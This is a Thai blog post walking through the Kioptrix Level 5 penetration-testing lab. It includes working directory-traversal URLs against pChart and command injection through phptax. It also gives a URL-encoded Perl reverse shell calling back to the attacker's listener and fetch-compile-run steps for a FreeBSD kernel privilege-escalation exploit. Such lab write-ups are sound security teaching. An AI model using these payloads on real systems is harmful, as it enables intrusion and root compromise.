ช่วงนี้ Work from Home เลยพอมีเวลามาเขียนต่ออีกหน่อย โดยตอนนี้จะเป็นตอนสุดท้ายของซีรีย์ Koptrix กันแล้วครับ จะเป็น Level 5 จะมีความท้าทายเพิ่มขึ้นมาอีกเล็กน้อย แต่โดยรวมก็ยังใช้ขั้นตอนเดิม 3 ขั้นตอนคือ 1. Enumeration 2. Exploitation 3. Privilege Escalation ในตอนนี้จะมี Flag ให้เราเข้าไปค้นหาด้วยเหมือนกับเราทำ CTF กันเลยทีเดียว ทำตามไปเรื่อยๆ จะเจอตอนจบครับ

Series นี้ตอนอื่นๆ
Penetration testing lab — Kioptrix level 1 [ตอนที่ 1]
Penetration testing lab — Kioptrix level 1 [ตอนที่ 2]
Penetration testing lab — Kioptrix level 2 [ตอนที่ 3]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 4]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 5]
Penetration testing lab — Kioptrix level 4 [ตอนที่ 6]
Penetration testing lab — Kioptrix level 5 [ตอนที่ 7]

ดาวน์โหลด Kiptrix level 5 VM

เริ่มต้นมาเช่นเดิมทำการ scan หา IP Address ของเครื่องเป้าหมายกันก่อน ในส่วน command ต่างๆ จะไม่พูดถึงในตอนนี้แล้วนะครับ ให้ย้อนกลับไปอ่านในตอนแรกๆ แทน เนื่องจากเป็นคำสั่งเดียวกัน

เครื่องเป้าหมายอยู่ที่ IP 192.168.248.135

จากนั้นทำการสแกนดูว่าเครื่องเป้าหมายเปิด service และ port อะไรไว้บ้าง

ใช้ nmap สแกน service และ port

ผลการสแกนเห็นว่าเครื่องนี้เปิด port อยู่น้อยมากแค่ 3 port เอง คือ 22/tcp, 80/tcp, และ 8080/tcp ทำให้เราแน่ใจได้ว่าเครื่องนี้เป็น webserver อย่างแน่

ขั้นตอนต่อไปเราจึงลองทำการค้นดูใน webserver ดูว่ามี folder อะไรซ่อนไว้บ้าง

ใช้ dirb ในการค้นหา folder ของเว็บที่ซ่อนอยู่

โชคร้าย!!! ไม่มีอะไรเลย ลองวิธีใหม่โดยใช้เครื่องมือ wfuzz

wfuzz คือเครื่องมือที่ใช้สำหรับการประเมินความปลอดภัยของเว็บแอปพลิเคชันโดยอัตโนมัติและสามารถช่วยรักษาความปลอดภัยเว็บแอปพลิเคชันโดยการค้นหาและใช้ประโยชน์จากช่องโหว่ของเว็บแอปพลิเคชัน

bruce force เว็บไซต์ด้วย wfuzz

โชคร้ายอีกครั้ง !!! ไม่เจออะไรเลยอีกเหมือนเดิม ก็อย่างว่า Level5 ตัวสุดท้ายของเค้าล่ะจะให้มันเจออะไรง่ายๆเลยก็คงไม่ใช่เรื่อง เอาใหม่ด้วย nikto

nikto สแกนเว็บดูอีกรอบ

5555 ไม่เจออะไรอีกเหมือนเดิม ไม่เวิร์คล่ะ งั้นลองไปดูที่ตัวเว็บเลยละกันเผื่อมีอะไรให้ทำ information gathering ได้บ้าง

OMG!! เปิดเว็บมาเจอหน้าขาวๆไม่ได้ช่วยอะไรเท่าไหร่ จากนั้นลองเปิดเว็บที่พอร์ต 8080 ดูเนื่องจากเราเห็นตอนทำ nmap ว่าเปิดอยู่

เปิดหน้าพอร์ต 8080 มา เหอๆ Forbidden เข้าไม่ได้อีก เอาไงดี ไม่รู้จะทำยังไงต่อล่ะ กลับไปที่หน้าพอร์ต 80 เหมือนเดิมแล้ว view source มาดู

เริ่มมีความหวังขึ้นมาเล็กน้อยเมื่อเราเห็นว่ามีการ include directory อยู่ที่ชื่อว่า pChart2.1.3/index.php เอาลองเปิดดู

เฮ้อออ เปิดได้ซะที แล้วไงต่อดีล่ะ

ไม่รู้จะทำอะไรแล้ว มั่วลองทำ directory traversal ดูล่ะกัน

hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

http://192.168.248.135/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

ปรากฎว่าเวิร์คสามารถเข้าไปเรียกไฟล์ /etc/passwd ขึ้นมาแสดงผลได้

งั้นลองเล่นๆ เรียกๆ ไฟล์คอนฟิกต่างๆ ในเครื่องมาดู เนื่องจากตอนที่เราสแกน nmap ข้างบนเราจะเห็นว่าเครื่องนี้เป็น FreeBSD ซึ่งหมายความว่าไฟล์ config ของเว็บเซิร์ฟเวอร์จะอยู่ที่ /usr/local/etc/apache2x/httpd.conf ก็ลองเรียกดู

http://192.168.248.135/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

เลื่อนไล่ดูคอนฟิกไปเรื่อยๆจนท้ายๆ ไฟล์ เห็นว่ามีการเซ็ตข้อจำกัดในการเข้าถึงเว็บด้วย Mozilla/4.0 ด้วย งั้นเราลองไปเข้ากันดู

แต่ก่อนที่จะเข้าได้นั้นเราต้องทำการปรับค่าคอนฟิกใน Mozilla ของเราก่อนเล็กน้อยตามนี้
1. พิมพ์ about:config
2. คลิก Accept the Risk and Continue
3. พิมพ์ตรงช่องค้นหา ว่า general.useragent.override
4. เลือก string แล้วเพิ่มค่าดังนี้ Mozilla/4.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0
5. คลิกขวาที่ช่องที่เพิ่มขึ้นมาแล้วกด reload

คลิก Accept the Risk and Continue
เลือก string แล้วเพิ่มค่าดังนี้ Mozilla/4.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0

หลังจากที่ปรับแต่งค่าใน firefox เสร็จแล้วลองเข้าผ่าน port 8080 ดูอีกที ปรากฎว่าสามารถเข้ามาได้แล้ว เยี่ยม

folder phptax ที่ซ่อนอยู่ในพอร์ต 8080
หน้าเว็บ phptax

พอเข้ามาได้ก็ทำ command injection กันต่อเพื่อเก็บข้อมูลไปเรื่อยๆ

http://192.168.243.135:8080/phptax/data/rce.php?cmd=id

สนุกล่ะทำอีกๆๆๆๆ

http://192.168.243.135:8080/phptax/data/rce.php?cmd=cat%20/etc/ipfw.rules

เล่นพอหอมปากหอมคอ สนุกๆ กันไปคราวนี้จะเข้า exploit กันแล้วครับ เพื่อเข้าไปยึดเอา shell command มา ซึ่งตอนนี้มีหลายวิธีในการเข้าทำ ลองวิธีแรกก่อนแล้วกันครับ

  1. การ exploit ผ่านเว็บ command

1.1 ที่เครื่อง kali ของเราให้เปิด connection รอไว้ที่พอร์ต 443 คำสั่งตามนี้ nc -nlvp 443
1.2 ที่ Web Browser FireFox ของเราให้เปิด url ตามด้านล่าง

http://192.168.248.135:8080/phptax/data/rce.php?cmd=perl%20-MIO%20-e%20%27$p=fork;exit,if%28$p%29;$c=new%20IO::Socket::INET%28PeerAddr,%22192.168.248.132:443%22%29;STDIN-%3Efdopen%28$c,r%29;$~-%3Efdopen%28$c,w%29;system$_%20while%3C%3E;%27

กลับมาที่เครื่อง kali ก็จะเห็นว่าเราได้เชื่อมต่อกับเครื่องเป้าหมายและได้ shell command มาเรียบร้อย

ลองเรียกคำสั่งอื่นๆ ดู ps -aux |more

แล้วไงต่อ !!!!

เห็นว่าตอนนี้เราเข้ามาที่เครื่องนั้น user ของเราเป็น www ซึ่งสิ่งที่เราต้องทำต่อไปคือการยกระดับสิทธิ์ให้ไปเป็น root ให้ได้ ก็เริ่มทำการ search ช่องโหว่ต่างๆ โดยการค้นหาคำว่า FreeBSD 9.0 — Intel SYSRET Kernel Privilege Escalation

ทำการ download ไฟล์ลงมา ชื่อ 28718.c เก็บไว้ในไดเร็กทอรี่ชื่อ Downloads

เนื่องจากทดลองใช้การ exploit ตามวิธีที่ 1 นั้นมีปัญหาบางอย่างไม่สามารถส่งไฟล์ .c และ compli ได้จึงเปลี่ยนวิธีใหม่เป็นวิธีที่ 2

2. การ exploit ผ่าน metasploit

ทำการเปิด metasploit โดยเรียก msfconsold

เมื่อเข้ามาในโปรแกรม metasploit แล้วให้ค้นหา phptax

คำสั่ง search phptax

ผลการค้นหาให้เราเลือกใช้ module exploit/multi/http/phptax_exec แล้วทำการ set ค่า RHOSTS และ RPORT ตามในรูป

เซ็ตค่า RHOSTS และ RPORT

หลังจากที่เซ็ตและลอง run ดูจะเห็นว่า error เอ้าาา เยอะไปไหน อ่านดีๆ จะเห็นว่าเราต้องทำการ set payload ให้กับตัว sploit ตัวนี้ด้วยงั้นก็ไปเลือกกัน

ตัว payload ยังไม่ได้เลือก (payload has not been selected)
คำสั่ง show payloads

ใช้คำสั่ง show payloads ดูว่ามีอะไรให้เราเลือกได้บ้าง ก็ลองหมดทุกตัว ไปๆ มาๆ สรุปว่าหมายเลข 5 สามารถใช้งานได้ ก็ทำการ set โดยใช้คำสั่ง set payload 5 แล้ว run อีกทีก็จะสามารถเข้า shell command ของเครื่องเป้าหมายได้ตามเดิม

คำสั่ง set payload 5

ใช้คำสั่ง /bin/sh -l เพื่อให้ตัว shell หน้าตาดู friendly ขึ้นมาอีกนิด

/bing/sh -l

ขั้นตอนต่อมาจะทำการยกสิทธิ์กันแล้วนะครับ

ให้เราเปิด tab ใหม่ แล้วทำการ copy ไฟล์ 28718.c ที่ download มาไปไว้ใน /var/www/html เพื่อที่จะทำให้เครื่องเราเป็นเว็บเซิร์ฟเวิร์แล้วให้เครื่องเป้าหมายโหลดไฟล์นี้ไปรันในเครื่อง

เมื่อ copy เสร็จแล้วสั่งให้ apache service ทำงาน

service apache2 start

กลับไปที่ shell terminal ของเครื่องเป้าหมายให้ใช้คำสั่ง fetch เพื่อโหลดไฟล์ .c มาเก็บไว้ที่เครื่อง และทำการ execute จะได้ output เป็น a.out ก็ให้ทำการเรียกขึ้นมาเราก็จะได้สิทธิ์เป็น root เรียบร้อยแล้ว

>fetch http://192.168.248.132/28718.c
>gcc 28718.c
>./a.out

ต่อมาเราก็ทำการหา Flag ที่อยู่ในเครื่อง โดยเปลี่ยนไดเร็กทอรี่ไปที่ /root จะเห็นไฟล์ที่ชื่อว่า congrats.txt อยู่

ทำการ cat congrats.txt ขึ้นมาดูก็เป็นอันเสร็จ บรรลุเป้าหมายแล้ว !!!!

เย้!!! ก็จบลงแล้วสำหรับ Kioptrix Level 5 โดยรวมคือเราลองใช้เครื่องมืออื่นๆ ในการทำ exploit ดูเพื่อความรวดเร็ว ฝึกไปเรื่อยๆ ตามสโลแกน

Try Harder

ปล.เป็นเพียงแค่ Lab ในการทดลองทำ Penetration testing เท่านั้นไม่สามารถใช้งานได้กับระบบจริง เนื่องจาก Lab นี้มีการจงใจที่จะเปิดช่องโหว่เอาไว้ให้เราได้ทำการทดลองศึกษา

สุดท้ายนี้ หากบทความนี้มีประโยชน์ รบกวนกด ปรบมือ หรือ กด share และกด follow ด้วยครับ

หลังจากนี้จะพยายามหาเวลาเอาตัวอย่างอื่นๆมาเล่นให้ดูกันอีก สำหรับตอนที่ 7 นี้ขอกล่าวคำว่าสวัสดีและขอให้สนุกกับการทดสอบระบบครับ

--

--

Pongsarun Boonyopakorn

Lecturer at the university — KMUTNB who loves computer networking, cybersecurity, and web technology.